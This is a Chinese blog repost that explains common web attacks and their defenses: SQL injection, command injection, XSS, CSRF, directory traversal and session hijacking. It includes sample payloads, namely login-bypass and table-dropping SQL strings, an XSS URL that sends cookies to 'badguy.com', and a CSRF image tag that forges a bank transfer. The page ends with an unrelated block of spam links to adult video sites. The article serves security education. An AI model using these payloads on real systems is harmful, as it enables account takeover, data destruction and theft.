<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Hopes

    Start Here..

     

    轉(zhuǎn) Web很脆弱,SQL注入要了解

    Web很脆弱,SQL注入要了解

    發(fā)布日期:2012-12-26 10:11 來源:互聯(lián)網(wǎng) 作者:秩名 點(diǎn)擊:360 SQL注入

    所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
    通過一下的例子更形象的了解SQL注入:
    有一個Login畫面,在這個Login畫面上有兩個文本框分別用來輸入用戶名和密碼,當(dāng)用戶點(diǎn)了登錄按鈕的時候,會對輸入的用戶名和密碼進(jìn)行驗(yàn)證。驗(yàn)證的SQL語句如下:
    select * from student where username='輸入的用戶名' and password='輸入的密碼'
    如果能夠檢索到數(shù)據(jù),說明驗(yàn)證通過,否則驗(yàn)證不通過。

    如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗(yàn)證的SQL語句變成:

    select * from student where username='' or '1' = '1' or '1' = '1' and password=''

    如果用戶在密碼文本框中輸入 1' or '1' = '1,則驗(yàn)證的SQL語句變成:

    select * from student where username='' and password='1' or '1'='1'

    以上兩個SQL語句的where條件永遠(yuǎn)是成立的,所以驗(yàn)證永遠(yuǎn)是有效的。

    如果在用戶名文本框中輸入 tom' ; drop table student-- ,則SQL語句變成:
    [sql] view plaincopyprint?
    1. select * from student where username='tom' ; drop table student--' and password=''
    這樣就變成的兩條SQL語句,執(zhí)行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)

    如何防止SQL注入:
    1. 永遠(yuǎn)不要信任用戶的輸入。對用戶的輸入進(jìn)行校驗(yàn),可以通過正則表達(dá)式,或限制長度;對單引號和雙"-"進(jìn)行轉(zhuǎn)換等。
    2. 永遠(yuǎn)不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進(jìn)行數(shù)據(jù)查詢存取
    3. 永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫連接
    4. 不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息
    5. 應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進(jìn)行包裝
    6. 采用一些工具或網(wǎng)絡(luò)平臺檢測是否存在SQL注入

    OS命令注入


    OS命令注入和SQL注入差不多,只不過SQL注入是針對數(shù)據(jù)庫的,而OS命令注入是針對操作系統(tǒng)的。OS命令注入即能夠在服務(wù)器上執(zhí)行任意命令。
    如何防止OS命令注入:
    1. 不要調(diào)用外部程序。舉個例子,在UNIX系統(tǒng)上,有一個叫CGI的程序,可以執(zhí)行sendmail命令來發(fā)送郵件。也許你的web應(yīng)用程序也有發(fā)送郵件的功能,通過直接調(diào)用CGI程序發(fā)送郵件非常的簡單,但是不要這樣做,因?yàn)樵趫?zhí)行sendmail命令的同時,也會混雜進(jìn)其他OS命令,正確的做法是使用發(fā)送郵件的library。
    2. 過濾調(diào) 、; ,[ ,] ,| ,< ,> ,\ 之類的符號
    3. 設(shè)置用戶的權(quán)限
    XSS跨站腳本攻擊

    XSS跨站腳本攻擊指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript),當(dāng)用戶瀏覽此網(wǎng)頁時,腳本就會在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。
    XSS攻擊場景有以下兩個方面:
    1. Dom-Based XSS 漏洞。攻擊過程如下
    Tom 發(fā)現(xiàn)了Victim.com中的Search.asp頁面有XSS漏洞,Search.asp的代碼如下:

    1. <html>
    2.   <title></title>
    3.   <body>
    4.     Results for <%Reequest.QueryString("term")%>
    5.     ...
    6.   </body>
    7. </html>
    Tom 先建立一個網(wǎng)站http://badguy.com,用來接收“偷”來的信息。然后Tom 構(gòu)造一個惡意的url(如下),通過某種方式(郵件,QQ)發(fā)給Monica
    http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
    Monica點(diǎn)擊了這個URL,嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行,那么Monica在victim.com網(wǎng)站的cookie,就會被發(fā)送到badguy網(wǎng)站中,這樣Monica在victim.com 的信息就被Tom盜了
    2. Stored XSS(存儲式XSS漏洞)。該類型是應(yīng)用廣泛而且有可能影響大Web服務(wù)器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。

    攻擊過程如下

    Alex發(fā)現(xiàn)了網(wǎng)站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫中,于是Alex發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行,其會話cookie或者其他信息將被Alex盜走。
    Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶。
    如何防止XSS跨站腳本攻擊:
    原則:不相信用戶輸入的數(shù)據(jù)
    注意:攻擊代碼不一定在<script></script>中
    1. 將重要的cookie標(biāo)記為http only,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了

    2. 只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡的textbox中,只允許用戶輸入數(shù)字,而數(shù)字之外的字符都過濾掉

    3. 對數(shù)據(jù)進(jìn)行Html Encode 處理。< 轉(zhuǎn)化為 &lt;、> 轉(zhuǎn)化為 &gt;、& 轉(zhuǎn)化為 &amp;、' 轉(zhuǎn)化為 '、" 轉(zhuǎn)化為 &quot;、空格 轉(zhuǎn)化為 &nbsp;

    4. 過濾或移除特殊的Html標(biāo)簽。例如:<script>、<iframe>、&lt; for <、&gt; for >、&quot for

    5. 過濾JavaScript 事件的標(biāo)簽。例如 "onclick="、"onfocus" 等等

    很多瀏覽器都加入了安全機(jī)制來過濾XSS(如下圖,在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)


    CSRF跨站請求偽造

    CSRF(XSRF)盡管聽起來很想XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點(diǎn)內(nèi)的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點(diǎn)。
    與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險性。

    以下是一個CSRF的例子

    受害者 Bob 在銀行有一筆存款,通過對銀行的網(wǎng)站發(fā)送請求http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉(zhuǎn)到 bob2 的賬號下。通常情況下,該請求發(fā)送到網(wǎng)站后,服務(wù)器會先驗(yàn)證該請求是否來自一個合法的 session,并且該 session 的用戶 Bob 已經(jīng)成功登陸。

    黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進(jìn)行轉(zhuǎn)帳操作。Mallory 可以自己發(fā)送一個請求給銀行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認(rèn)證,因此該請求不會起作用。

    這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網(wǎng)站,在網(wǎng)站中放入如下代碼:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過廣告等誘使 Bob 來訪問他的網(wǎng)站。當(dāng) Bob 訪問該網(wǎng)站時,上述 url 就會從 Bob 的瀏覽器發(fā)向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發(fā)向銀行服務(wù)器。大多數(shù)情況下,該請求會失敗,因?yàn)樗?Bob 的認(rèn)證信息。

    但是,如果 Bob 當(dāng)時恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認(rèn)證信息。這時,悲劇發(fā)生了,這個 url 請求就會得到響應(yīng),錢將從 Bob 的賬號轉(zhuǎn)移到 Mallory 的賬號,而 Bob 當(dāng)時毫不知情。等以后 Bob 發(fā)現(xiàn)賬戶錢少了,即使他去銀行查詢?nèi)罩荆仓荒馨l(fā)現(xiàn)確實(shí)有一個來自于他本人的合法請求轉(zhuǎn)移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。

    如何防止CSRF跨站請求偽造:
    1. 對于web站點(diǎn),將持久化的授權(quán)方法(例如cookie或者HTTP授權(quán))切換為瞬時的授權(quán)方法(在每個form中提供隱藏field)。

    2. “雙提交”cookie。此方法只工作于Ajax請求,但它能夠作為無需改變大量form的全局修正方法。如果某個授權(quán)的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應(yīng)用。什么叫限制跨域規(guī)則呢?限制跨域規(guī)則就是:如果服務(wù)器需要在Post請求體或者URL中包含授權(quán)cookie的請求,那么這個請求必須來自于受信任的域,因?yàn)槠渌蚴遣荒軓男湃斡蜃x取cookie的。上面那個例子的受信任域就是銀行網(wǎng)站的某個域,而Mallory發(fā)給Bob的鏈接不是受信任的域。

    3. 使用Post代替Get。Post方式不會在web服務(wù)器和代理服務(wù)器日志中留下數(shù)據(jù)尾巴,然而Get方式卻會留下數(shù)據(jù)尾巴。

    4. 以上三點(diǎn)都是正對web站點(diǎn)的防御手段,第4點(diǎn)是從用戶的角度的防御手段。通過在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會話結(jié)束后清理瀏覽器的cookie來防止CSRF攻擊。

    目錄遍歷漏洞

    目錄遍歷漏洞在國內(nèi)外有不同的叫法(信息泄露漏洞、非授權(quán)文件包含漏洞、等等)。目錄遍歷漏洞就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉(zhuǎn)符,導(dǎo)致惡意用戶可以通過提交目錄跳轉(zhuǎn)來遍歷服務(wù)器上的任意文件,其危害可想而知。
    如何防止目錄遍歷漏洞:

    1. 權(quán)限控制

    2. 對包含了惡意的符號或者空字節(jié)進(jìn)行拒絕

    3. 使用絕對路徑+參數(shù)來控制訪問目錄,使其即使是越權(quán)或者跨越目錄也是在指定的目錄下

    參數(shù)篡改

    參數(shù)值竄改是網(wǎng)絡(luò)攻擊的一種形式,其中在URL中的某些參數(shù)或由用戶輸入的網(wǎng)頁形式領(lǐng)域數(shù)據(jù)都在沒有得到用戶授權(quán)的情況下改變了。這導(dǎo)致瀏覽器指向一個不是用戶想去的鏈接、網(wǎng)頁或網(wǎng)站(盡管對隨機(jī)觀測者來說它們看上去幾乎一樣)。參數(shù)值篡改被犯罪者用來獲取個人或商業(yè)信息。
    如何防止參數(shù)篡改:

    1. 對所有參數(shù)值進(jìn)行驗(yàn)證

    2. 根據(jù)session id進(jìn)行遷移,參數(shù)使用服務(wù)器端的值


    會話劫持

    會話劫持就是在一次正常的會話過程當(dāng)中,攻擊者作為第三方參與到其中,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù),也可以在雙方的會話當(dāng)中進(jìn)行監(jiān)聽,甚至可以是代替某一方主機(jī)接管會話。
    我們可以把會話劫持攻擊分為兩種類型:

    1)中間人攻擊(Man In The Middle,簡稱MITM)

    2)注射式攻擊(Injection)


    中間人攻擊:簡而言之,所謂的MITM攻擊就是通過攔截正常的網(wǎng)絡(luò)通信數(shù)據(jù),并進(jìn)行數(shù)據(jù)篡改和嗅探,而通信的雙方卻毫不知情
    注射式攻擊:這種方式的會話劫持比中間人攻擊實(shí)現(xiàn)起來簡單一些,它不會改變會話雙方的通訊流,而是在雙方正常的通訊流插入惡意數(shù)據(jù)


    還可以把會話劫持攻擊分為兩種形式:1)被動劫持,2)主動劫持

    被動劫持:在后臺監(jiān)視雙方會話的數(shù)據(jù)流,叢中獲得敏感數(shù)據(jù)

    主動劫持:將會話當(dāng)中的某一臺主機(jī)“踢”下線,然后由攻擊者取代并接管會話,這種攻擊方法危害非常大,攻擊者可以做很多事情


    如何防止會話劫持:

    1. 限制入網(wǎng)的連接

    2. 設(shè)置你的網(wǎng)絡(luò)拒絕假冒本地地址從互聯(lián)網(wǎng)上發(fā)來的數(shù)據(jù)包

    3. 加密也是有幫助的。FTP和Telnet協(xié)議是最容易受到攻擊的。SSH是一種很好的替代方法

    posted on 2012-12-29 15:49 ** 閱讀(154) 評論(0)  編輯  收藏


    只有注冊用戶登錄后才能發(fā)表評論。


    網(wǎng)站導(dǎo)航:
     

    導(dǎo)航

    統(tǒng)計(jì)

    公告

    你好!

    常用鏈接

    留言簿(2)

    隨筆檔案

    文章分類

    文章檔案

    新聞檔案

    相冊

    收藏夾

    C#學(xué)習(xí)

    友情鏈接

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 不卡精品国产_亚洲人成在线 | 亚洲精品乱码久久久久久中文字幕| 亚洲国模精品一区| 亚洲а∨精品天堂在线| 最近的中文字幕大全免费8| 亚洲电影一区二区| 久久青草精品38国产免费| 国拍在线精品视频免费观看| 麻豆亚洲av熟女国产一区二| 精品无码无人网站免费视频| 亚洲最新在线视频| 久久成人永久免费播放| 亚洲精品自在在线观看| 精品成人免费自拍视频| 亚洲gv猛男gv无码男同短文| 美女的胸又黄又www网站免费| 亚洲AV永久无码精品一区二区国产| 人妻18毛片a级毛片免费看| 亚洲午夜激情视频| 一区二区三区四区免费视频 | 特级毛片免费播放| jlzzjlzz亚洲乱熟在线播放| a级成人免费毛片完整版| 久久精品国产亚洲AV无码偷窥| aⅴ在线免费观看| 日韩国产欧美亚洲v片| 国内精品乱码卡1卡2卡3免费| 久久综合久久综合亚洲| 国产精品va无码免费麻豆| 在线播放国产不卡免费视频| 国产AV无码专区亚洲AVJULIA| 最近2018中文字幕免费视频| 亚洲最大天堂无码精品区| 亚洲AV无码一区二区三区在线观看 | 99久久久精品免费观看国产| 亚洲精品无码mⅴ在线观看| 日本zzzzwww大片免费| 亚洲高清乱码午夜电影网| 亚洲日韩精品一区二区三区| 2021国产精品成人免费视频| 国产精品亚洲精品久久精品|